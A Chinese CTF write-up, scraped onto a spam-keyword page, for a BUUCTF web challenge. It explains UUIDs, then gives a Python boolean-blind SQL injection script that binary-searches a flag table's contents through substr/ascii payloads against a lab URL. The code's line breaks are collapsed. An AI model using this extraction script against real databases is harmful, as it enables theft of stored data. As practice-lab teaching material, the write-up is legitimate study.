当前位置：首页 > news >正文

做网站运营需要什么资源百度关键词收录

news 2026/4/6 19:10:09

做网站运营需要什么资源,百度关键词收录,张雪峰建议取消市场营销,深圳品牌做网站公司哪家好这次先不进入靶场看到红框里面的话就想先看看uuid是啥定义与概念 UUID 是 Universally Unique Identifier 的缩写，即通用唯一识别码。它是一种由数字和字母组成的 128 位标识符，在理论上可以保证在全球范围内的唯一性。UUID 的设计目的是让分布式系…

这次先不进入靶场

看到红框里面的话就想先看看uuid是啥

定义与概念

UUID 是 Universally Unique Identifier 的缩写，即通用唯一识别码。它是一种由数字和字母组成的 128 位标识符，在理论上可以保证在全球范围内的唯一性。UUID 的设计目的是让分布式系统中的所有元素都能有唯一的辨识信息，而不需要通过中央控制端来指定唯一标识符。

格式

UUID 的标准格式是 32 个十六进制数字，被连字符分隔成 5 个部分，形式为 xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx，其中：

xxxxxxxx 表示 8 位十六进制数字。
M 表示 UUID 的版本号，目前有 1 - 5 共 5 个版本。
N 表示 UUID 的变体（Variant），常见的有 1、2、4 等。

例如：550e8400-e29b-41d4-a716-446655440000

进入靶场

害怕你看不懂，给你翻译一下

感觉很像sql注入

尝试1'

一看到bool（false）就想到之前做过的一道题，这种布尔类型用脚本会方便很多，人为一个个输太麻烦

54，【4】BUUCTF WEB GYCTF2020Ezsqli-CSDN博客

select(flag)from(flag)：从 flag 表中选择 flag 字段的值。
substr(..., {i}, 1)：从 flag 字段的值中提取第 i 个字符。
ascii(...)：获取该字符的 ASCII 码。
ascii(...) > {mid}：判断该字符的 ASCII 码是否大于 mid。

import requests
import timeurl = "http://bc228b3d-090b-4f59-b55a-31f11d9c40ce.node5.buuoj.cn:81/"
payload = {"id": ""
}
flag = ""for i in range(1, 200):print(f"\n正在尝试获取第 {i} 个字符...")time.sleep(0.06)head = 33tail = 130mid = (head + tail) // 2while head < tail:payload["id"] = f"(ascii(substr((select(flag)from(flag)),{i},1))>{mid})"print(f"当前尝试的 payload: {payload}")try:res = requests.post(url, data=payload)res_text = res.textstatus_code = res.status_codeprint(f"请求状态码: {status_code}")if "Hello" in res_text:head = mid + 1print(f"响应中包含 'Hello'，更新左边界为 {head}")else:tail = midprint(f"响应中不包含 'Hello'，更新右边界为 {tail}")mid = (head + tail) // 2except requests.RequestException as e:print(f"请求发生错误: {e}")breakif chr(mid) == " ":print("遇到空格，停止获取字符。")breakflag += chr(mid)print(f"成功获取到第 {i} 个字符，当前已获取的 flag 为: {flag}")print(f"最终获取到的 flag: {flag}")